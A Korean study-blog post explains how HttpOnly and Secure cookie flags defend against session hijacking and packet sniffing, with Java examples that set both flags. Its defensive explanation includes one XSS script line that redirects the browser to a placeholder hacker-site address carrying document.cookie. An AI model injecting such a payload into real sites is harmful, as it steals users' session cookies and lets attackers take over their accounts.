HomeAboutMeBlogGuest
© 2025 Sejin Cha. All rights reserved.
Built with Next.js, deployed on Vercel
✍🏻
Learnary (learn - diary)
/
📱
HttpOnly 와 Secure Cookie
📱

HttpOnly 와 Secure Cookie

progress
Done
Tags
Web
Build UpWhatWhyHow REFER

Build Up


  • HTTP는 기본적으로 무상태와 지속적으로 연결을 유지하지 않는 특징을 갖고 있다.
  • 인증과정 방식중 header에 토큰 값이나, 세션 값들을 넣어 헤더를 체크하거나 혹은 cookie에 값들로 부터 인증여부를 판단한다.
  • 쿠키에 담길 경우 해커들은 다양한 방법으로 해당 쿠키를 탈취하고자 한다.
    • 세션하이재킹
    • 패킷 스니핑

What


HttpOnly: 스크립트로 쿠키의 추출을 막고자 사용하는 것이 HTTP ONLY이다.
  • 패킷 스니핑은 예방할 수 없다. 왜냐하면 패킷을 캡쳐하면 쿠키 정보를 알아낼 수 있기 때문이다.
  • 무료 와이파이를 사용하는 공공장소에서 와이어샤크 툴을 통해 패킷을 캡쳐하여 탈취가 가능해진다.
Secure Cookies: http로 보내게 되면 쿠키를 전송하지 않게 되는 기술이다.
  • https로 통신을 한다고 했지만 개발자의 실수 img 태그 같은 경우 src를 http://….. 로 보내게 되어 패킷을 감청하여 쿠키를 탈취 할 수 있게 된다.
  • 클라이언트, 서버에서 모두 옵션 적용을 할 수 있다.
  • TIP
    • expiries, max-age 옵션이 지정되어 있지 않으면, 브라우저가 닫힐 때 쿠키도 함께 삭제된다.
    • 이런 경우 session 쿠키라고 부른다.
    • expires 나 max-age 옵션을 설정하면 브라우저를 닫아도 쿠키가 삭제되지 않는다.

Why


  • HttpOnly를 사용하지 않으면 대표적인 공격으로 세션 하이재킹이 가능하게 된다.
    • 인증이 완료된 사용자 브라우저에서 쿠키를 탈취 할 수 있다.
    • notion image
    • 쿠키는 클라이언트에서 자바스크립트로 조회 할 수 있게된다.
    • 그러면 악위적인 해커 사이트로 쿠키 정보가 전송되고 해커는 로그인 없이 쿠키를 사용할 수 있게 된다.
    • <script> location.href = '해커사이트주소?cookie=' + document.cookie </script>
  • Secure Cookie를 사용하지 않으면 네트워크를 감청하여 쿠키를 알아 낼 수 있게 된다.
    • https를 적용해도 개발자의 실수
    • <img src="http://www.example.com/images/logo.png" />
    • 해커는 암호화되지 않는 허점을 노려 쿠키를 탈취해 간다.
 

How


http only 사용법
  • http response : Set-Cookie: 쿠키명=쿠키값; path=/; HttpOnly
  • 접미사 HttpOnly만을 추가함으로써 script로 긁어가는 행위를 막을 수 있다. 기본적으로 이러한 쿠키는 따로 사용되어져야 하는 곳이 대부분 없기 때문에 기본적으로 적용하는 것이 좋다.
  • 클라이언트 단에서는 방어할 수 없고 서버단에서 오직 조취를 취해야 한다.
public class TestHttpOnlyCookie { public static void main(String[] args) { HttpServletResponse response = new MockHttpServletResponse(); Cookie cookie = new Cookie("name", "어드민"); cookie.setHttpOnly(true); response.addCookie(cookie); } }
Secure Cookie 사용법
  • Set-Cookie: 쿠키명=쿠키값; path=/; secure
  • 접미사에 secure를 사용하여 https가 아닌 통신에서는 쿠키를 전송하지 않는다.
  • 클라이언트, 서버 모두 적용가능하다.
public class TestHttpOnlyCookie { public static void main(String[] args) { HttpServletResponse response = new MockHttpServletResponse(); Cookie cookie = new Cookie("name", "어드민"); cookie.setHttpOnly(true); cookie.setSecure(true); response.addCookie(cookie); } }

 REFER


  • xss의 추가 공격법 있음 reflected xss
01. 시큐리티 - HTTP Only 와 Secure Cookie
개념 브라우저(크롬, 사파리)에서 request(요청) GET 또는 POST 하게 되는 경우 모든 쿠키들이 서버에 넘어가 사용자를 체크합니다 오래전 부터 쿠키를 사용하고 있어 많은 사이트 대부분이 쿠키를 통해 사용자 식별정보를 쿠키에 저장하며, 쿠키에 저장된 정보를 통해 각 사용자를 구별사용자 인증을 진행합니다 인증을 계속 체크하는 이유는 HTTP 프로토콜이 Stateless (무상태성) 이기에 요청한 사람의 상태정보를 계속 갖고 있지 않고 연결이 끊어지기 때문에 다음 요청 시, 누구인지, 이전에 요청한 같은 사람인지, 해커인지 알 수 없습니다 이렇게 쿠키를 통해 인증을 하기 때문에 민감한 정보들이 쿠키에 담겨져 있는 데, 해커들은 다양한 방법으로 이 쿠키를 탈취하고자 합니다.
01. 시큐리티 - HTTP Only 와 Secure Cookie
https://theheydaze.tistory.com/m/550
01. 시큐리티 - HTTP Only 와 Secure Cookie